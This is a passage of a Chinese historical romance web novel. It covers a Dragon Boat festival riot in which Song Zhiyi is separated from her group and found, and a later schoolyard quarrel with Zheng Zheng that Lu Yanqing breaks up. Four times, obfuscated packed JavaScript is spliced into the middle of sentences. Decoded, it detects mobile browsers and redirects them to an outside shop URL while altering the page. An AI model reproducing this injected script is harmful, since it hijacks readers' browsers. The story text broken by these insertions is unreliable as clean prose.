城里的事办停当，陆晏时明日启程返回松山书院。眼下周氏正指挥小丫鬟打点行囊，这也带，那也装，地上已摆了七八口大箱子，个个儿满满当当，她仍嫌不充足，转头指示金香翻出往年的冬衣，另抬个箱子塞进去，说是山上不比山下，天气变幻莫测，冷热交替，得穿严实预防生病。金香依言拿钥匙去耳房开柜子。 忙得不亦乐乎。 陆晏时却是清闲，坐着陪伴儿女做功课，眼睛监督着书本，嘴巴对周氏出声：“那山就在城郊，几十里地外，半天就到了，又不是去天涯海角，值当如此隆重。夫人呐，你且歇一阵吧。你不累，我看着都累了。” 周氏驻足环视屋内，心下计较还缺什么，算过来都齐全了，方松懈了精神，去八宝方桌前坐下。睬了睬女儿一笔一画的字迹，满意点头；再摸摸她毛躁的脑袋，转而问支使下人取梳子过来，边为她轻轻梳平，边嗔陆晏时，佯装不悦：“好嘛，我累死累活是为了谁？还不是为了伺候你这个大爷。你不感恩，我不埋怨你，你反倒能耐，嫌我在你面前晃悠得眼花了。哼，没良心的。就你二弟那不近人情的，也比你会体贴人呢。” 陆晏时纳罕，把凳子往周氏的身旁欠一欠：“二弟会体贴人？这话从何说起啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周氏果然靠谱而爽快，晚饭后就来讯：万事俱备，只欠东风。 宋知意喜不自胜，早早睡下，一夜好梦。 15. 河畔生变 端午节日，万里无云，恰是出游好时节。 因为和陆家是街坊，要去汴河畔走的是同一条路线，差不多时间出门，一准遇到一起，而为了将偶遇的戏码做得更真实，是故宋知意特意推迟半个时辰出发。 远远地，望见河岸两侧人满为患，宋知意有些发愁：那乌泱泱的人，眼都看花了，该怎么和陆家人碰面呢？ 愁眉不展之际，芒岁手指前方，兴奋道：“姑娘瞧，那停的可不就是陆家的马车么！” 一展眼，并排停着两辆车，均悬挂着“陆”字样的灯笼。宋知意展颜欢笑，疾步近前问原地留守的车夫：“陆大嫂嫂她们人去了何处？” 车夫眼熟她的脸，伸手指了个方向，笑答：“才过去没一阵，宋姑娘快些，追得上的。” 循着指引，宋知意深入人堆。拥拥挤挤间，听见有人叫了声“表兄”，她豁然警觉，扭头问芒岁听见了没。芒岁道：“听见了……好像是崔姑娘的声音？” 宋知意登时拉下脸：“去哪都躲不开她。” 费了九牛二虎之力跻身前排，见河里已整整齐齐漂浮着十数只龙舟，每一只俱井然有序载着八个青壮年男人，目光炯然，斗志昂扬。看样子，比赛即将开始了。 “姑娘，陆大少夫人在右手边朝咱们招手呢！”芒岁先看见陆家几个人，拽她衣袖提醒。 宋知意回头，终于见着含笑招手的周氏，藏起不高兴，带笑加紧跑过去。 “金香跟我说瞧见你也来了，我就忙忙地冲你挥手示意，唯恐这里人杂，一个晃眼你给丢了。”周氏拉她到身旁站，顺手理理她被风掀乱的发丝，随后挽着她胳膊同另一边的陆夫人笑说：“母亲，您渴不渴，要不要给您取水来？” 陆夫人道：“不渴，别麻烦。” 周氏拍拍宋知意手背。她会意，对陆夫人粲然一笑：“陆夫人，这天儿太热了，我就怕热，出来前带了酸梅汤，还放了冰块呢。我看您额头上冒汗，不如尝些消消热气吧！” 她和陆夫人套近乎的空隙，芒岁已将提着的竹篮子打开，取出个玻璃罐，分了两层，下层塞满冰块，上层盛着酸梅汤。 宋知意接了酸梅汤，献至陆夫人面前，眼睛亮晶晶的：“我没动过，这罐子也是新的，您放心喝。” 陆夫人笑道：“我一点不渴。另外我人老了，脾胃不好，禁不住那冰冰凉的吃食。宋姑娘且留着自己饮吧。” 殷勤没献成，宋知意有些灰心，慢慢垂下手，牵强笑道：“哦，那我自个儿喝了。” 此时，河中央响起喊话，大意是给各位参赛选手鼓气，再叮嘱大家比赛第二，安全第一，最后吹响口哨，喊声宣布各自就位，比赛开始。 人群霎时轰然一片：有振臂为自己看好的队伍呐喊助威的，有带孩子的父母，父亲把孩子举到脖子上更好看热闹的，也有怕人潮涌动，身边人不慎被推倒，时时以身躯护卫的……各有各的看头。 各龙舟划过赛道半程，人们越加激动，呼喊不停，唾沫横飞，手足亦躁动难安，前边的推搡更前边的后背，后边的踩踏前边的鞋跟。身处如是一团乱中，宋知意蛾眉深锁，牙关紧咬，苦不堪言。饶狼狈至此，竟不忘探听陆晏清的下落。 周氏急急忙扶住陆夫人，确认其安然无恙，方有心力回复：“出来的路上，有个侍女冒冒失失，把洒扫用的脏水溅到崔表妹身上，弄污了衣裳，崔表妹就掉头回去换衣裳去了。二弟本来是跟我们一块的，母亲担心崔表妹一个人行路不安全，便叫二弟留一下，等崔表妹完事，再同她一道来。” 宋知意忍下醋意，道：“我已来了挺久，论理，也该到了。可怎么迟迟不见人呢？” 周氏客观道：“今天街上人格外稠密，往河边来的更是一波接一波，大约是人多车多，半路堵着了。” “但我刚刚似乎听见了崔璎和陆二哥哥说话呢。”提及这个，宋知意不免透露出些许酸溜溜的味儿，“我猜，他们两个来了，只是没和咱们会合，可能有什么话，不方便咱们听了去，于是约着去了别处，好谈个明白吧。” 闻她心生猜忌，越说越离谱，恰逢人群趋于安定，周氏使个眼色与金香交换位置，便宜同她耳语：“我婆母她十分维护崔表妹这个外甥女，你注意点别乱说，当心她对你有意见。” 宋知意不吭声。 周氏笑叹：“你实在堵得慌呢，要么你别我们干耗着了，出去寻寻他们。” “万一我离开，他们却过来了，我岂不是徒劳用功？算了，等也等了，不差多一会。”她倒是考虑周全。 “你呀你，真是一点亏不吃。”周氏眼里遍布宠溺，随即眼风轻轻地往陆夫人处一带，“才刚我瞧你东西没送出去，表现得很是不甘心。你不要有负面情绪，我婆母她没搪塞你，她千真万确脾胃不佳，碰不得寒凉之物。” 宋知意还算拎得清，点头道：“那我记下了，今后如果送，就送热腾腾的东西。” 突然，人海之中炸开个怒吼：“你眼睛长后脑勺上了，敢往我鞋子上踩踏？！” 另一个声音响应：“我又不是故意的，你跟我瞪什么眼？” “是不是故意的，我鞋被你踩脏了，你得负责——现在跪下来，仔仔细细给我舔干净，这事算完。” “汪顺，你别欺人太甚！” “我最后问一遍：舔，还是不舔？” “给你舔鞋？做你的春秋大梦去吧！” “哦？这可是你自找的。来啊，给我打，狠狠打，打到他趴下求爷爷告奶奶为止！” 汪顺此人，乃京城最大赌坊金运坊的东家，近七八年，凭借金运坊赚得盆满钵满。从众赌徒手里捞的要命钱，一半进了他的腰包，一半成为他奉承高官打通渠道的筹码。他又极其两面三刀：平时对待不如他的，便趾高气昂，横行霸道；换作是家世背景不凡的，笑脸相迎，投其所好。说白了，此人就是个发横财的市井泼皮。 在场多为平头百姓，听惯见惯汪顺的做派，哪里敢招惹他，纷纷退后。有胆子小的，干脆舍下赛龙舟的大场面，缩着脖子躲走；剩下胆大好事的，闭紧嘴巴冷眼围观。 汪顺一声令下，冒出三四个大汉，对得罪了汪顺那人拳打脚踢。 那头吵吵嚷嚷，益发惊得人心惶惶，回避是非的人数激增，由此牵累到宋知意这头——她被急促的人.流裹挟前进，任何呼喊求救，无一例外被淹没在喧闹声中。 人愈来愈稠，喧哗愈来愈大，她却陷于无助境地，孤立无援…… 汪顺嚣张，挑起事端，引发骚动，陆晏清姗姗来迟，简单了解情况后，取下腰牌，向大众亮名身份。众人恭敬退让，他畅通无阻抵达是非场，喝住汪顺极其爪牙，令春来火速通知官府。汪顺不敢忤逆，原地恭候发落。 终于，围困解除，乱象停息。 另一边，周氏死抓着陆夫人，气喘吁吁，惊魂未定。 “我们家姑娘不见了！”芒岁急哭了。 四下眺望，宋知意竟无影无踪。周氏尽力压下惶恐，派遣芒岁金香分东西两面找人，她自己带陆夫人撤至安全地带，安抚丁香照顾好陆夫人，将将打算往北面寻人之时，陆晏清赶到。周氏又惊又喜又怕：“我们和宋妹妹一起来着，但她被人群冲散了……她一个小姑娘，如果有什么闪失，我没法她家里交代呀！二弟，你快去找找她！” 陆晏清头脑清晰，问周氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564911|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是在哪个方位不见的。周氏回忆片时，往东边一指。 他了然于胸，有条不紊安排春来待着看顾陆夫人周氏，自己沿着堤岸，且走且看。没一段路，和芒岁相逢。 芒岁抽噎哭诉：“这么大的地方，上哪找呢……姑娘独身漂泊，肯定害怕……这可怎么办呀！” 陆晏清不会安慰人，加之他平素做得远比说得多，因冷静分析：“此处人潮密集，行动不便，走不了多远，应当还在附近。前边是个集市，寻常老百姓聚集地，而今看热闹的以贩夫走卒居多，生了变故，人们恐慌，理应往家跑。宋姑娘湮没其中，去那里寻觅，估计有所获。” 芒岁听得晕头转向，呆呆道：“那大人的意思是，我们姑娘就在那集市里？所以得去那找？” 陆晏清严谨，情况尚未明确之前，万不肯草率下定论，只说：“十之八九。” 芒岁重燃希望，飞快擦干眼泪，拔腿奔赴集市。陆晏清紧随其后。 果不出陆晏清所料，芒岁于市场入口处发现宋知意，却不止她一人，薛景珩及其随从文进，一同在场，几人正说话呢。 芒岁心里存疑，脚下却不含糊，飞奔上前，抱住宋知意手臂，泪眼汪汪道：“万幸姑娘没事！” “我好着呢，快别哭了，当心鼻涕淌嘴巴里。”宋知意戏言逗她开心。 芒岁破涕为笑，自己掏绢帕擦拭脸庞。 “幸好是遇上了我，我对这地儿熟，不然你们家姑娘就跟你一样，蹲地上哭哭啼啼的了。”薛景珩睃了眼宋知意，调笑道。 今天早起，祥宁郡主携丈夫入宫拜见太后、皇上、皇后，薛景珩钻空子翻墙出门，径直赶往宋家，却得知宋知意去了汴河畔，于是马不停蹄追赶，结果撞上动乱。也是巧，朝人堆里一扎，怀里扑进个人来，低头一瞅，正正好是宋知意。当时周围乱哄哄的，寸步难行，逼得他无计可施，唯有牵着她，随波逐流，最后沦落到这市场口。 宋知意翻他白眼：“你少卖弄了。今儿就没你，我也不会吓得哭鼻子。况且，我前脚碰上你，后脚芒岁赶来，我随她原路折回就是了。” 薛景珩笑笑：“哎呦呦，也不知刚刚是谁紧拽着我的胳膊，还叫我走慢一点——生怕跟丢来着。” “贫嘴贱舌的，我懒得理你。”宋知意转过身子，面朝芒岁，“你怎么寻过来的？” 她深知，凭芒岁的胆量，一见她失散了，必然立即慌得六神无主，何来准确无误找过来的本事。故而才觉得怪异。 芒岁一拍脑门：“姑娘要不问，我都忘了。是小陆大人告知我来这儿寻的。他真厉害，您果真在这里。”她回身瞭望来路，目之所及全无陆晏清的身影，“哎？小陆大人分明与我一块来的，怎的一会工夫没人影了？” 事实是，陆晏清遥望见她与薛景珩一起平安无事，兼不愿再和薛景珩做无意义争辩，而浪费时间，就悄然回避了。 “我就奇怪谁有那么大本领，原来是他……”宋知意喃喃自语。 薛景珩靠得近，将她的嘀咕语全然不落收入耳内，大为不爽。然鉴于上次也是因陆晏清而爆发的争吵，眼下彼此好不容易握手言和了，他着实发怵，不敢再明着说陆晏清的坏话。故强装和颜悦色道：“快中午了，我送你回家吧。” 宋知意摇头称：“我得先和陆嫂嫂她们碰头报个平安。你自己走吧，横竖两个地方离得不远，我与芒岁两个说说闲话溜达着就到了。” 薛景珩并不挪动：“我也不差一时半会，我陪你一起。” 难保他跟陆晏清凑一块又起口角，宋知意决计不肯再冒险，便坚称不用，后拉起芒岁走开，背着他挥手道：“改天再见——！” 16. 撒娇道谢 陆晏清孤身而返，崔璎第一个近前表关怀：“表兄，你走了许久，我真担心你……幸好你还平平安安的。” 陆晏清淡笑回应。随后走去陆夫人、周氏这对婆媳身侧，垂眸道：“母亲，嫂嫂，宋姑娘已有下落了，她现和薛家少爷一起，无需挂怀。” 陆夫人颔首：“人没事就好。” 周氏拍一拍胸脯子，长出一口气，庆幸道：“可算能给宋家交代了。” 崔璎轻悄凑近，欲启齿同陆晏清搭讪，周氏却抢先一步，含笑道：“那二弟，你既然都找过去了，为何不领人回来见大家，反而自己孤零零地回？”——颇有戏弄他俩关系的意味。 陆晏清何其睿智，压根不中这个计，寡淡表示：“本意是为寻人，既有了好的结果，何必再平添麻烦。”更何况，人家青梅竹马相谈甚欢，他一个外人参与进去，岂不是自寻烦恼。 周氏没完，还打算张嘴，崔璎再不给她硬撮合的机会，及时出声：“经此一闹，想必大家都乏了，不若快快上车回家吧，好好地缓缓。” 陆夫人同意，搭着丁香的手臂小心翼翼上了马车，之后隔着竹帘催促剩下几个人：“有没说尽的，上来再说吧。” 究竟是要在陆夫人底下讨生活，周氏不敢拖拉，柔声响应一声，踩凳子上去，弯腰低头钻入内里。 “安之，”想起崔璎来，陆夫人又吩咐，“你依然同你妹妹坐一块吧。” 陆晏清拱手道：“是。” 陆夫人的车子先走，紧接着陆晏清瞥了崔璎，道：“妹妹请登车吧。” 崔璎恍惚回神，一面偷偷打量他的神色，见他眉目蕴着不多不少的冷意，一面抿嘴细声细语试探：“表兄可是在怪我吗？” 陆晏清侧目：“此话从何说起？” “要不是我换衣裳耽搁了时辰，表兄也不会错过那场纷乱，就能守在姨妈和表嫂身旁保护她们了。”崔璎低眉顺眼，姿态楚楚动人，“归根究底，全是我拖后腿，险些酿成大错……” “没有实际发生的事，没必要胡思乱想。”他一副波澜不兴的样子。他使唤春来搬下车凳，难得予以她一个正眼：“不早了，上车吧。” 明明是无悲无喜的一道正视，但崔璎偏偏感觉出一星半点的不耐烦——她无法接受。 她是他正经的妹妹，又不比那个宋知意似的，三天两头给他添乱。她仅仅是想跟她多说两句话，这有错吗？ “妹妹，”她直觉很准，陆晏清确实有点烦了，“上车吧。” 崔璎好生委屈，特别想宣泄出来，奈何她没宋知意那张厚脸皮，一忍再忍，终究是生生咽下怨言，扯起一抹笑：“好。” “陆二哥哥，等等！”讨厌什么来什么：宋知意扯着嗓子一路叫喊过来。 崔璎不得不站回原位，面带微笑，以维持应有的体面，不尴不尬道：“是宋姐姐啊……姐姐不是同薛小少爷一处吗？我还当姐姐坐着薛小少爷的车子回家了呢。” 她尽力保持的体面，宋知意弃如敝履，视线始终黏在陆晏清身上，热切而露骨。“陆二哥哥，我听芒岁说了，多亏有你，她才在那么短的时间内找到我。不愧是陆二哥哥，关键时候总是很靠得住……陆二哥哥，这次谢谢你呀。” 崔璎暗自不屑。表兄最反感别人吹捧他了，那宋知意还没文化，有限的几个词儿翻来覆去地往外蹦，和外面那些奉承表兄的美言比起来，简陋寒酸，惹人笑话。表兄怎么会理她？她又要吃瘪了。 “只有这次么？”话音源自陆晏清——他长身鹤立，炽烈天光洒在他身，却驱不散他的清冷之气。 崔璎、宋知意平素不对付，现今却默契十足，双双愣住。 所问之人怔怔失神，正好，陆晏清亦丧失了对话的兴趣，言归正传，开门见山：“罢了。宋姑娘可有要紧事？” 宋知意后知后觉，他居然在主动问她哎！矜持也不顾了，连连三步，直走到他眼皮子底下，眼睑弯弯：“陆二哥哥，什么叫‘只有这次’？我不太懂，你能具体解释一下吗？” 她仰着脸，吐息丝丝渡至脖子上，温温的，痒痒的。陆晏清退后，同时转身，声音里除却惯有的淡漠，更有不易察觉的停顿与颤抖：“……并没什么。” 他回避，她就跟随，再度站到他面前，蹙眉困惑道：“话说半截，真的很吊人胃口。陆二哥哥，你如果不说明白，我今晚明晚后晚都睡不踏实了。陆二哥哥，难道你就忍心叫我夜晚失眠，白天无精打采的吗？” 一低头，便是她白里透粉的鹅蛋脸，每一个毛孔、每一道肌理皆向外界传达着天真无辜，真正是使人心生怜惜的存在。 可陆晏清偏不顺势而为，去怜香惜玉，他拂袖走开，冷声道：“第一，我已说过，无甚需要解释的，那宋姑娘你是否安寝便与我无关。第二，说话可以，但别贸然靠过来，有伤风化。第三——” 他侧目，通过余光，瞥见她堪比花孔雀的一身行头——跟他习惯的着装完全相反。然后一带而过，重新正视前方，全程不留痕迹。“宋姑娘若无要事，我便不奉陪了。” “慢着，我有事！”宋知意复追至他眼前。 “何事？”陆晏清不堪其再三骚扰，不愿和她长篇大论，吐字能省则省。 “就……我刚到河岸的时候，听见崔璎妹妹在喊你……其实，你那会就过来了，对不对？”她对这事耿耿于怀。 陆晏清坦荡承认：“不错。那又如何？” 他两袖清风，坦坦荡荡，她却憋着一股气，装傻充愣道：“那你们是在谈事情吗？在谈什么呢，非得避着大家呀……肯定是很有趣的事吧，能说给我听听吗？” 她一连串的逼问，委实把崔璎激怒了，快步至陆晏清面前，以身挡住她投向陆晏清毫无分寸的眼神：“宋姐姐，这是我和表兄之间的私事，你一直刨根问底的，不太合适吧？” 宋知意下意识就想反唇相讥，幸而多了个心眼，记起陆晏清在场。考虑到自己在他心目中的形象已经够糟糕了，决不可再糟糕下去。于是乎尽量温和道：“我没有恶意，只是觉得处得咱们熟快，设若真有好玩的事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571439|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分享出来大家开心。不是有句话，独乐乐不如众乐乐？崔妹妹，陆二哥哥，你们要是认定我做错了，那我住口就是了。” 十分不满她倒打一耙，崔璎僵着脸说：“宋姐姐，请你不要混淆是非，趣事是趣事，私事是私事。退一万步，就算有趣事，好像也没有一定分享的义务吧。我只是希望能得到应有的尊重。宋姐姐，你觉得呢？” 今日，崔璎是耍了心计，故意走歪，搞得女使手滑泼水到她身上，她好借故与陆夫人周氏错开，与陆晏清单独相处。也是她到了目的地，找各种理由拖延陆晏清的步子——因为她晓得宋知意就在前边，她不愿意宋知意缠着陆晏清叽叽喳喳，而她只有不争不抢，老实当个局外人的份儿。 她和宋知意一样，仰慕陆晏清，那宋知意为了博得陆晏清关注毫无下限，她使点手段怎么了。 认真吵架，崔璎绝不是宋知意的对手。但难就难在，陆晏清在。无论如何，她得维护形象。 “你说得对。我尊重你，尊重陆二哥哥。所以你们对我有所避讳，我也不探究了。”她摊手道，“陆二哥哥，总之今天谢谢你为我费心，我都记着呢。我记得你爱吃红糖馅儿的粽子，刚好我们家包了好多，又甜又香，明儿我拿给你一些，就当是我微不足道地报答你了。你看行吗？” 不料得到的是他冷漠的拒绝：“举手之劳，何足挂齿？不必报答。” 宋知意还撒着娇争取呢：“对你是举手之劳，对我可不是。我一点一点全记在心里呢。陆二哥哥，你就许我报答吧，否则我过意不去……” “宋姑娘，我说了，不必报答。”陆晏清怀疑她听不懂人话，若不然为什么总是在他一遍又一遍强调了不用做这做那的前提下，固执地去反驳他呢——这一点，他很不喜。 她吃硬不吃软，除非人家真凶她，她才肯让步。而陆晏清此刻严厉的容颜，终于令她望而却步，妥协道：“哦……那我明儿不送了。”期间眼光在他脸孔上游离，改了口气，小心翼翼道：“陆二哥哥，你别生气，我依你的就是了……” “当真依我的，从今往后别那么唤我了。”陆晏清道。 宋知意咬着嘴唇，凄凄惨惨的：“陆二哥哥……” 看吧，她死性不改，老是嘴上说得柔顺好听，行为举止则又是另一套：以违背旁人的意愿取悦自己。 陆晏清不理她，对崔璎说：“上车回家吧。” 崔璎的语调软和得宛如冬日的一件狐狸毛氅衣：“知道了，表兄。” 崔璎在前，提裙摆慢慢儿上去。陆晏清垫后，迎着崔璎在里头帮着揭开的帘子，俯身进入，还道了声“多谢”。 宋知意呢，眼巴巴望着他们的马车越来越远，最后变为一个小点，渐渐不可捉摸。 瞅她面色不对，芒岁掂量用词，道：“粽子不送就不送吧，大不了分些给薛小少爷。总归不会烂在家里……” “嗯，烂不了。”轻风拂面，携来一缕清凉。宋知意隐下惆怅，舒展心情，朝自家马车走去：“走啦，回家吃粽子去。” 17. 遭人暗算 端午节后，宋知意依然准时去陆家女学堂上课。一切按部就班，步入正轨。 是日晌午课毕，一行人说着闲话款款出屋子。宋知意和她们格格不入，慢悠悠拾掇物品，耳畔是她们关于这个端午节上哪里游玩，又发生了什么趣事的讨论。而郑箏问崔璎的话音混在其中：“崔妹妹，听说你与小陆大人一块去汴河边观看赛龙舟了？” 崔璎含羞带笑道：“是的。可惜那天出了乱子，没能多看几眼。” 郑箏忽然止步不前，正好她的影子打在宋知意跟前。她乜着宋知意，嘲讽：“有些人，一点眼力见儿都没有，人家表哥表妹一家子出去散心，她非跟着。撵不起也罢，还蠢钝如猪——那么大的人了，竟然走散了。净给人添乱。” 崔璎暗地里笑够了，才扯郑箏的袖摆，“贴心”劝和：“宋姐姐不是成心的，她也被吓坏了。郑姐姐，下午还有的学呢，咱们抓紧时间吃午饭吧。” 崔璎虚情假意、矫揉造作的表现，直恨得宋知意牙根痒痒。她真想拽陆晏清过来看一看，他体弱多病、知冷知热的表妹背着他时，是何等面目。 “好，听妹妹的。”郑箏光明正大白了眼宋知意，回挽着崔璎的胳膊，姐姐安妹妹好地走了。 恐怕宋知意按捺不住脾气，又拉着郑箏扭打起来，从而惊动陆家人，芒岁忙忙宽慰她：“那种人，不值得跟她置气。姑娘别搭理她。” 宋知意气得捶了下面前的矮几：“不是看不得我爹再给别人卑微赔笑的话，我必然揍得她好一段时间出不了门见不了人！” 对一个死物撒完气后，两人结伴回家吃饭午睡，到点儿再过来。 黄昏，一日课业了结，众人有礼有节辞过何嬷嬷，各回各家。 宋知意抢在最前头，走得飞快，自以为甩开了那些与她合不来的人，而又意外碰上下值归家，正在家门外掸衣扶帽的陆晏清。 她喜出望外，就要下台阶笑脸迎接，万万没料到，背后给谁推了一下，身体没稳住，芒岁也搀扶不及，她直直前栽下去。 “咚！”她趴在地上，幸好用胳膊撑了下缓冲，没正面摔着脸，却也因胳膊受力，衣袖直接磨开了一大片，露出底下擦得通红渗血的皮肤。 芒岁急忙扶她起来。 “哎呀呀，这是怎么搞的，狼狈成这样？”郑筝从后边缓步现身，目光上下打量，眼底的嘲笑全然藏不住，“宋妹妹，你纵是见了小陆大人心急，也不至于急得扑倒吧？瞅瞅这弄的。你以后得当心一点呀。” “你再说风凉话试试？”在陆晏清眼皮子底下出了大丑，宋知意羞愤欲死，不管阵阵火烧般的胳膊，摔手瞪她，“我就是不看路，也沦落不到自己摔跟头的地步。刚刚我明显感觉有什么东西推了我一把，我这才站不稳跌了。我前脚跌了，你后脚就出来……郑筝，是你存心害我的吧？！” “你少红口白牙污蔑人！”郑筝冷哼。旋即收起气急败坏相儿，下巴抬高了些许，尽显小人得志之色，“你说是我推的你，你拿出证据来；我在你后边出来，可算不得证据。若拿不出，你就是居心叵测，血口喷人！” 宋知意绝不吃亏，更不吃没来由的亏。她逼近郑筝，死盯着她的眼睛：“上次在薛家，我那车子莫名坏了，也是你在作祟吧？” 郑筝脸上划过一丝慌乱，但仍旧死鸭子嘴硬：“你车子好坏，关我什么事？按你的想法，你以后但凡有点不顺，那全怨我头上了。宋知意，我说你别太轻狂了！” “哦，”宋知意肯定是她在从中作梗了，“我轻狂，我也没干那些下三滥的破事。比不得你，尽耍阴招。” “你！”郑筝愤恨难耐，举手意图打她，一边观看多时的陆晏清却发话了：“想打架是吗？可以。出这个巷子再打，地方宽敞，容得下两位。打得鼻青脸肿、头破血流也好，打得重了闹出人命官司来也罢，通通无所谓。” 陆晏清属于不怒自威的那种，郑筝觑着犯怵，悻悻收手，偏口头上还在狡辩呢：“宋知意信口栽赃我，字字句句不堪入耳，难道我就活该容忍吗？” “我有必要故意摔一跤来栽赃你？”宋知意更是个不饶人的主儿，“你推就推了，还不敢认，这才是龌龊至极。我真瞧不起你。” “谁推你了？是你自己眼瞎。你怎么有脸骂我龌龊？你实在卑鄙！”郑筝气性更大，语气更冲。 “你说谁卑鄙？” “这里还有第二个姓宋的么？” “呵？看来上次只揪你一撮头发还是少了，合该给你一把薅秃了，你才领教到我的厉害呢！”宋知意开始卷袖子，适才摔地上擦破的那段衣袖耷拉下来，很是碍手，她索性用力扯断丢给芒岁兜着。 郑筝不甘示弱，手伸头上拆卸满头珠翠，一样接一样扔给婢女接着。十分手忙脚乱。 春来牵着马，看得目瞪口呆，心里不合时宜地感慨：居然有二少爷阻止不下的纠纷……真真长见识了。 宋知意即使负伤在身，行动照旧利索，首先做好较量前的准备工作，藐视越急越乱的郑筝，刻薄道：“还没动手呢就这么费劲，你不如掂量掂量自己几斤几两。识相点呢，趁早给我赔罪，求我宽恕，我可以考虑大人不记小人过。” “你做梦！”郑筝咆哮的同时，一个失神，力气使大了，不幸连头发带簪子扯了下来。她婢女连连惊呼。她则硬扛着疼痛，不曾皱一下眉头，将那簪子狠狠一掷，顶着一头蓬乱松散的发髻，指着巷子口说：“走，去外边。谁反悔，谁是狗。” 宋知意坦然应下，约着她往外走。 “春来，你去宋家，告诉宋大人，他家姑娘要和人约架，马上打起来了。晚来一步，后果自负。”不早不晚，当她雄赳赳气昂昂经过身畔时，陆晏清吩咐。音量不大不小，足以将音浪震入她耳内。 宋知意猛回头，眼睛里盘旋着他端肃的面容。她突然间心虚了，目光闪烁，气势低迷：“我和郑筝的矛盾，我们俩自行解决，干嘛通知我爹呀……不带这样的……” “你们俩是陆家女学的学生，我身为陆家人，明知你们俩闹了矛盾却不予制止，届时传扬在外，败坏的是我陆家的名声。”陆晏清睥睨着她，眼光凛冽，不像在劝架，像在审讯人犯，“宋姑娘，你现在说，我应不应当知会你家里人。” 他的眼神，仿佛能洞悉一切，令她倍感心慌，颇有种无地自容的羞愧感。 “今日挑事的是郑筝，你不训她，反而逮着我一个人训，太不公平了吧……”羞愧归羞愧，丝毫不影响她咽不下几次三番被郑筝戏弄后的恶气。 闻听她告状，郑筝不服，也聚过来，仰头对陆晏清说：“大人评评理，明摆着是她自己眼神乱飘不看路，摔了个狗啃泥，反过来怪罪我，还有本事打我……大人，这叫什么事嘛，我可冤枉死了！” 宋知意是远近闻名地霸道，自个儿喜欢陆晏清，随时向他撒娇可以，但旁人扭捏着向他撒娇服软，断然不能允许。 见郑筝又是噘嘴又是哼唧的，她登时不乐意，一记眼刀子飞过去：“你贼喊捉贼呢？”继而慢慢抬起带伤的手臂，在陆晏清眼下晃了晃，回忆着平日崔璎那个小鸟依人的样子，照葫芦画瓢，勉强挨着了我见犹怜的边儿：“陆二哥哥，你是堂堂御史大人，明察秋毫，一定要为我做主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春来望望铁面无私的他，再瞅瞅萎靡不振的宋知意，心生同情，磨磨蹭蹭不肯走。 “怎么，连我的话都要违逆了？”明明是质问春来的，却瞟向了宋知意——他在敲打她。 宋知意会意，抠了好一阵的手指头，终于肯向他低头：“算了，我今儿就放郑筝一马。陆二哥哥，这总行了吧……！” 她退一步，郑筝可不干了，叉着腰，眉飞色舞地质问：“好啊，你耍我开心呢？你说打就打，你说收就收？你以为你谁啊，把我呼来喝去的！” 陆晏清目光一掠郑筝：“适可而止吧，郑姑娘。” 当着他，郑筝不敢造次，那一肚子邪火，又压不下去，便对她婢女疾言厉色，颐指气使：“你傻站着看热闹呢？还不快替我把头发弄好！” 婢女揣着一兜子首饰，如履薄冰过去，刚调度开一只手，伸出一半，猝不及防被她喊停：“笨手笨脚的，脑子也不灵光。得了，上车我自己来吧！” 郑筝挥袖，直去了郑家马车底下。她婢女战战兢兢追着。 死对头怒冲冲撤了，宋知意也没意思逗留。至于陆晏清，一来是刚摔得惨，无颜面对他，二来是埋怨他不信自己无辜，一味捏着她的软肋逼着她在郑筝面前当窝囊废——总之，她现下挺不待见他的。 种种原因之下，她护着胳膊，唤上芒岁，扬长而去，毫无留恋。 她是洒脱，陆晏清却不禁发笑——她对他生气可笑，他站出来管她的是非更可笑。思及此，满容阴翳，拂袖大步进了家门。 18. 结伴买醉 当晚饭桌上，宋知意异常安静，只管一勺一勺喝汤。宋平断定她这反应又是谁跟闹别扭了，暗暗思忖一阵，自觉言行并未哪里不妥，应当不是冲他的，略微松了口气。后拿了个小碟子，各样夹了些菜，推至她跟前，借机搭话：“看你一声不吭的，一定是哪个不长眼的惹你了。你告诉爹，爹给你出气。” 打从进家门，宋知意就拿衣裳掩护住了摔跤而擦伤的地方，她担心被宋平晓得了今日又和郑筝争锋相对，为此难过。她悄悄地拉了下袖口，确保漏不出任何端倪，假装淡然道：“没啊，就是竖耳听了一整天的课，累了，腻了，不想再说话了。” 宋平不很信服此说法，两条浓眉一紧，一张胖圆脸上遍布担忧，却以轻松玩笑的口吻道：“咱们爷儿俩，从来是知无不言，言无不尽。如意，你要瞒哄我，我可伤心了。” 